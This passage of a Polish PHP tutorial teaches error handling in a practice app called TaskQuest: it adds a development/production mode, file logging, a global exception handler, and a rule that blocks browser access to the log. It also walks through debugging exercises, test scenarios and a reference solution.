<p class="wp-block-paragraph"><strong>Sprawdzenie:</strong> powtórz atak z sekcji 2 — zmień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> pole na <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul[]"</code> i wyślij formularz. Zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> ze ścieżką dostaniesz stronę awarii, a w logu pojawi się wpis <code class="prettyprint lang-sql" style="font-size: 0.85em;">[niezłapany wyjątek] TypeError: ...</code>. Przełącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> i powtórz: gracz widzi samo zdanie, Ty masz wszystko w logu. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</strong></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Zauważ, że problem z polem wysłanym jako tablica <strong>nie zniknął</strong> — zmieniło się tylko to, co widzi gracz. Prawdziwa poprawka (sprawdzanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_string()</code> przy odczycie pól) to zadanie końcowe B.</p>
</blockquote>



<h1 class="wp-block-heading">7. Kolejne zadanie — znajdź cudzy błąd</h1>



<p class="wp-block-paragraph">Narzędzia, których używasz do zaglądania w środek działającego programu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($zmienna);    // typ + wartość, najdokładniejsze
print_r($tablica);     // czytelniejsze dla tablic i obiektów, bez typów
print_r($tablica, true);  // zwraca tekst zamiast wypisywać — nadaje się do error_log()
</code></pre>



<p class="wp-block-paragraph">Wypróbuj w brudnopisie różnicę na <code class="prettyprint lang-sql" style="font-size: 0.85em;">['a' =&gt; 1, 'b' =&gt; '1', 'c' =&gt; true]</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r()</code> pokaże trzy podobne wartości, <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> pokaże, że to <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>. Przy szukaniu błędu ta różnica jest zwykle kluczowa. Obie funkcje warto otaczać <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;pre&gt;</code>, żeby zachować formatowanie.</p>



<p class="wp-block-paragraph"><strong>Ale one nie zawsze działają.</strong> Strony akcji w TaskQuest (<code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>) kończą się przekierowaniem. Przeglądarka natychmiast idzie pod nowy adres i <strong>nie pokazuje niczego</strong>, co ten skrypt wypisał. Dokładnie w tych plikach potrzebujesz logu.</p>



<h2 class="wp-block-heading">SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Wprowadź do projektu cudzy błąd: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> znajdź wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika(...)</code> i <strong>zamień miejscami dwa ostatnie argumenty</strong> (XP i streak).</p>



<p class="wp-block-paragraph">Zgłoszenie od gracza brzmi: „Klikam Zrobione!, zadanie znika z listy aktywnych, ale XP prawie się nie zmienia, za to seria skacze o kilkadziesiąt”.</p>



<p class="wp-block-paragraph">Twoje zadanie: <strong>nie patrząc na to, co zmieniłaś</strong>, znajdź przyczynę, używając logu. Dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> tymczasowe wpisy <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code> pokazujące wartości przekazywane do funkcji, kliknij „Zrobione!”, odczytaj log i wyciągnij wniosek.</p>



<p class="wp-block-paragraph">Oczekiwany efekt: w logu widzisz dwie liczby w kolejności, która nie zgadza się z sygnaturą funkcji.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak)</code>. Zaloguj obie wartości tuż przed wywołaniem. Sygnaturę funkcji sprawdzisz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log('&#91;debug] xp=' . $zadanie->pobierzXp() . ' streak=' . $uzytkownik->pobierzStreak());</code></pre>
</details>



<p class="wp-block-paragraph">Pytanie kontrolne do siebie: dlaczego PHP <strong>nie zgłosiło</strong> żadnego błędu, skoro argumenty poszły w złej kolejności?</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Log pokazuje np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp=20 streak=6</code>, a w bazie XP rośnie o 6, seria skacze na 20. Oba parametry są typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, więc PHP nie ma jak zauważyć zamiany — to błąd, którego <strong>żaden mechanizm języka nie wykryje</strong>, bo kod jest poprawny, tylko robi nie to, co trzeba.</p>



<p class="wp-block-paragraph">Stąd wniosek na przyszłość: typy chronią przed pomyłką tylko wtedy, gdy się różnią. Przy kilku parametrach tego samego typu pomagają argumenty nazwane (znasz je z Lekcji 15):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika($polaczenie, uzytkownikId: $uzytkownikId, zdobyteXp: $zadanie->pobierzXp(), streak: $uzytkownik->pobierzStreak());</code></pre>



<p class="wp-block-paragraph"><strong>Przywróć poprawną kolejność argumentów i usuń tymczasowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>.</strong> Wywołanie z argumentami nazwanymi możesz zostawić — jest poprawne i czytelniejsze.</p>
</details>



<h1 class="wp-block-heading">8. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h1>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> celowo <strong>nie dołącza</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> (od Lekcji 10 ma działać nawet wtedy, gdy projekt jest zepsuty). Oznacza to, że nie działa w niej ani tryb błędów, ani handler — i tak ma zostać.</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bledow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'logs/.htaccess'</code> (razem <strong>25</strong> ścieżek). Samego <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> <strong>nie</strong> dopisuj — ten plik powstaje dopiero przy pierwszym błędzie, więc jego brak nie jest usterką.</li>



<li>Pod sekcją „Avatary” dodaj sekcję „Log błędów” sprawdzającą, czy katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs</code> istnieje i czy da się do niego pisać — tak samo jak przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary</code> w Lekcji 21 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_writable()</code>, ścieżka <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__ . '/logs'</code>).</li>



<li>Sekcja <strong>nie</strong> pokazuje zawartości logu. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> jest dostępna publicznie, a w logu są nazwy kolumn i ścieżki serwera.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień numer wersji na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 2.3</code>.</li>
</ol>



<h1 class="wp-block-heading">9. Testy</h1>



<h2 class="wp-block-heading">Test 1 — regresja</h2>



<p class="wp-block-paragraph">Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code>. Sprawdź po kolei: lista zadań, filtry widoku, „Zrobione!” (XP i seria rosną poprawnie), „Usuń”, dodanie zadania, zmiana avatara, wylogowanie, rejestracja nowego konta. Wszystko ma działać tak samo jak po Lekcji 22.</p>



<h2 class="wp-block-heading">Test 2 — awaria bazy, tryb rozwojowy</h2>



<p class="wp-block-paragraph">Zmień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> stałą <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_NAZWA</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_nie_ma</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Oczekiwane: ramka „Nie udało się wczytać danych: Nie udało się połączyć z bazą danych.”
W logu:     &#91;index.php — dane gracza i zadania] Exception: Nie udało się połączyć z bazą danych. (...)
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę, że komunikat <strong>nie zawiera</strong> nazwy konta bazy — tak działa <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> od Lekcji 18. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>.</p>



<h2 class="wp-block-heading">Test 3 — awaria bazy, tryb produkcyjny</h2>



<p class="wp-block-paragraph">Powtórz Test 2 z <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY</code> ustawionym na <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Oczekiwane na stronie: „Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.”
Oczekiwane w logu:     ten sam wpis co w Teście 2
</code></pre>



<h2 class="wp-block-heading">Test 4 — błąd zapytania</h2>



<p class="wp-block-paragraph">Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY = false</code> zepsuj nazwę kolumny (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul2</code>) i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Na stronie: ogólne zdanie, bez nazwy kolumny
W logu:     mysqli_sql_exception: Unknown column 'tytul2' in 'field list'
</code></pre>



<p class="wp-block-paragraph">To jest cel całej lekcji: informacja dotarła do Ciebie, ale nie do gracza. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</p>



<h2 class="wp-block-heading">Test 5 — niezłapany <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code></h2>



<p class="wp-block-paragraph">Zmień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul[]"</code> i wyślij formularz.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Oczekiwane: strona awarii (nie biała strona, nie Fatal error ze ścieżką)
W logu:     &#91;niezłapany wyjątek] TypeError: trim(): Argument #1 ...
</code></pre>



<p class="wp-block-paragraph">Sprawdź w obu trybach i przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code>.</p>



<h2 class="wp-block-heading">Test 6 — log niedostępny z przeglądarki</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/logs/taskquest.log</code> → <strong>403 Forbidden</strong>. Dla porównania <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/index.php</code> ma działać normalnie.</p>



<h2 class="wp-block-heading">Test 7 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 25 ścieżek <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>, sekcja „Log błędów” pokazuje, że katalog istnieje i jest zapisywalny.</p>



<h2 class="wp-block-heading">Test 8 — nietknięta walidacja</h2>



<p class="wp-block-paragraph">Wyślij formularz dodawania zadania z pustym tytułem i XP = 500.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Oczekiwane: ramka „Popraw formularz:” z dwoma komunikatami — tak jak dotąd
W logu:     nic
</code></pre>



<p class="wp-block-paragraph">Błąd użytkownika to nie awaria. Gdyby w logu pojawiał się wpis za każdym razem, gdy ktoś się pomyli w formularzu, log przestałby być przydatny.</p>



<h1 class="wp-block-heading">10. Obowiązkowe eksperymenty</h1>



<h3 class="wp-block-heading">Eksperyment 1 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> nie łapi wszystkiego</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, wewnątrz bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> odpowiedzialnego za dane z bazy, dopisz jako pierwszą linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">intdiv(1, 0);</code>. Odśwież stronę.</p>



<p class="wp-block-paragraph">Pytanie: dlaczego nie zobaczyłaś ramki „Nie udało się wczytać danych”, mimo że błąd wystąpił dokładnie wewnątrz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>? Które rozwiązanie z dzisiejszej lekcji go obsłużyło? Usuń linię.</p>



<h3 class="wp-block-heading">Eksperyment 2 — dwa rodzaje błędu składni</h3>



<p class="wp-block-paragraph">Ustaw <code class="prettyprint lang-sql" style="font-size: 0.85em;">TRYB_ROZWOJOWY = false</code>.</p>



<ol class="wp-block-list">
<li>Usuń średnik w dowolnej linii pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> → <strong>biała strona</strong>, ale w logu jest wpis <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHP Parse error: ...</code>. Napraw.</li>



<li>Usuń średnik w dowolnej linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Odśwież → tym razem komunikat najpewniej <strong>pojawi się na stronie</strong>. Napraw.</li>
</ol>



<p class="wp-block-paragraph">Wyjaśnij różnicę. Wskazówka: w którym momencie PHP wykonuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set('display_errors', '0')</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, a w którym czyta plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</p>



<h3 class="wp-block-heading">Eksperyment 3 — log, którego nie ma</h3>



<p class="wp-block-paragraph">Zmień nazwę katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">logi</code> (nie zmieniając <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>). Wywołaj dowolną awarię z Testu 2.</p>



<p class="wp-block-paragraph">Pytanie: czy dostałaś jakąkolwiek informację o tym, że zapis do logu się nie udał? Co to znaczy w praktyce dla aplikacji na serwerze i jak można się przed tym zabezpieczyć? Przywróć nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs</code>.</p>



<h3 class="wp-block-heading">Eksperyment 4 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> w miejscu, gdzie go nie widać</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> dopisz tuż przed przekierowaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($zadanieId);</code>. Usuń dowolne zadanie.</p>



<p class="wp-block-paragraph">Pytanie: gdzie podział się wypisany tekst? Zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log('[debug] id=' . $zadanieId);</code> i powtórz. Sformułuj regułę: kiedy używasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>, a kiedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>? Usuń obie linie.</p>



<h3 class="wp-block-heading">Eksperyment 5 — „headers already sent”</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo 'test';</code> <strong>przed</strong> blokiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST')</code>. Dodaj zadanie.</p>



<p class="wp-block-paragraph">Zamiast przekierowania zobaczysz ostrzeżenie o nagłówkach. Wyjaśnij, dlaczego jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> psuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> i dlaczego w naszych stronach z formularzem cała logika jest <strong>nad</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once header.php</code>. Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>.</p>



<h1 class="wp-block-heading">11. ROZWIĄZANIE — wersja referencyjna</h1>



<p class="wp-block-paragraph">Pliki niewymienione poniżej (klasy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_avatara.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code>) są <strong>identyczne jak po Lekcji 22</strong>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/.htaccess</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># TaskQuest (L23): log błędów nie jest do oglądania przez przeglądarkę.
Require all denied
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> — zmiany</h2>



<p class="wp-block-paragraph">Na górze pliku, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- tryb pracy aplikacji (L23) ---
// true  = Twój komputer: błędy widać na stronie
// false = serwer: gracz widzi tylko ogólny komunikat, szczegóły idą do logu
define('TRYB_ROZWOJOWY', true);

define('PLIK_LOGU', dirname(__DIR__) . '/logs/taskquest.log');

error_reporting(E_ALL);
ini_set('log_errors', '1');
ini_set('error_log', PLIK_LOGU);

if (TRYB_ROZWOJOWY) {
    ini_set('display_errors', '1');
} else {
    ini_set('display_errors', '0');
}
</code></pre>



<p class="wp-block-paragraph">Na końcu pliku, pod dotychczasowymi stałymi:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- obsługa błędów dla całej aplikacji (L23) ---
require_once dirname(__DIR__) . '/includes/funkcje_bledow.php';
set_exception_handler('pokazAwarie');
</code></pre>



<p class="wp-block-paragraph">Pozostałe stałe (<code class="prettyprint lang-sql" style="font-size: 0.85em;">XP_NA_POZIOM</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">CZAS_PAMIETANIA_WIDOKU</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_*</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">MAKS_ROZMIAR_AVATARA</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DOZWOLONE_ROZSZERZENIA_AVATARA</code>) bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bledow.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje obsługi błędów TaskQuest (Lekcja 23).
// Plik wymaga config/config.php (stałe TRYB_ROZWOJOWY i PLIK_LOGU).

function zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
{
    $opis = get_class($wyjatek) . ': ' . $wyjatek-&gt;getMessage()
        . ' (' . $wyjatek-&gt;getFile() . ':' . $wyjatek-&gt;getLine() . ')';

    error_log('&#91;' . $gdzie . '] ' . $opis);
}

function komunikatAwarii(Throwable $wyjatek): string
{
    if (TRYB_ROZWOJOWY) {
        return $wyjatek-&gt;getMessage();
    }

    return 'Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.';
}

function pokazAwarie(Throwable $wyjatek): void
{
    zapiszBladDoLogu($wyjatek, 'niezłapany wyjątek');

    if (!headers_sent()) {
        http_response_code(500);
    }

    echo '&lt;h1&gt;TaskQuest&lt;/h1&gt;';
    echo '&lt;p&gt;Coś się popsuło po naszej stronie. Spróbuj jeszcze raz za chwilę.&lt;/p&gt;';

    if (TRYB_ROZWOJOWY) {
        echo '&lt;p&gt;&lt;strong&gt;' . htmlspecialchars(get_class($wyjatek)) . ':&lt;/strong&gt; '
            . htmlspecialchars($wyjatek-&gt;getMessage()) . '&lt;/p&gt;';
        echo '&lt;p&gt;' . htmlspecialchars($wyjatek-&gt;getFile()) . ':' . $wyjatek-&gt;getLine() . '&lt;/p&gt;';
        echo '&lt;pre&gt;' . htmlspecialchars($wyjatek-&gt;getTraceAsString()) . '&lt;/pre&gt;';
    }

    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do TaskQuest&lt;/a&gt;&lt;/p&gt;';
}
</code></pre>



<h2 class="wp-block-heading">Siedem bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> — wzorzec</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
    zapiszBladDoLogu($wyjatek, 'index.php — dane gracza i zadania');
    $bladBazy = komunikatAwarii($wyjatek);
}
</code></pre>



<p class="wp-block-paragraph">Etykiety <code class="prettyprint lang-sql" style="font-size: 0.85em;">$gdzie</code> i zmienne — tabela w sekcji 5.3. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> dochodzi zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladAkcji</code>, a ramka awarii wypisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($bladAkcji)</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($wyjatek-&gt;getMessage())</code>.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — zmiany</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bledow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'logs/.htaccess'</code> (<strong>25</strong> ścieżek). Nowa sekcja pod „Avatary”:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Log błędów&lt;/h2&gt;
&lt;?php
$katalogLogow = __DIR__ . '/logs';

if (!is_dir($katalogLogow)) {
    echo '&lt;p&gt;&#91;BRAK] Katalog logs/ nie istnieje — utwórz go ręcznie.&lt;/p&gt;';
} elseif (!is_writable($katalogLogow)) {
    echo '&lt;p&gt;&#91;BRAK] Katalog logs/ istnieje, ale nie można do niego pisać.&lt;/p&gt;';
} else {
    echo '&lt;p&gt;&#91;OK] Katalog logs/ istnieje i jest zapisywalny.&lt;/p&gt;';
}
?&gt;
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-preformatted"> <code class="prettyprint lang-sql" style="font-size: 0.85em;">       &lt;p&gt;TaskQuest 2.3&lt;/p&gt;
</code></pre>
</details>



<h1 class="wp-block-heading">12. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystko z Lekcji 22: konta z hasłem, rejestracja, token CSRF, escapowanie, .htaccess w uploads/
zadania w bazie, XP, seria dni, avatary, ranking, filtry widoku, komunikaty jednorazowe
walidacja danych od użytkownika jako tablica komunikatów (błąd użytkownika to nie awaria)
catch (Exception ...) w siedmiu miejscach — łapiemy przewidziane awarie, nie błędy programisty
polaczZBaza() nadal ukrywa szczegóły połączenia
diagnostyka.php nadal bez config.php i bez sesji</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php:
    TRYB_ROZWOJOWY, PLIK_LOGU
    error_reporting(E_ALL), display_errors zależne od trybu, log_errors, error_log
    require_once funkcje_bledow.php + set_exception_handler('pokazAwarie')
includes/funkcje_bledow.php:
    zapiszBladDoLogu(Throwable $wyjatek, string $gdzie): void
    komunikatAwarii(Throwable $wyjatek): string
    pokazAwarie(Throwable $wyjatek): void
logs/ — katalog na log aplikacji (tworzony ręcznie)
logs/.htaccess — Require all denied
$bladAkcji w oznacz-wykonane.php i usun-zadanie.php</code></pre>



<p class="wp-block-paragraph">Nowe mechanizmy PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_reporting()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_set()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ini_get()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error_log()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_exception_handler()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">headers_sent()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">http_response_code()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_class()</code>, interfejs <code class="prettyprint lang-sql" style="font-size: 0.85em;">Throwable</code> i klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DivisionByZeroError</code>); w brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r()</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li>siedem bloków <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>: zapis do logu + komunikat zależny od trybu zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek->getMessage()</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 25 ścieżek, sekcja „Log błędów”,</li>



<li>stopka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2.3</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<p class="wp-block-paragraph">Nic. Lekcja 23 nic nie odbiera aplikacji.</p>



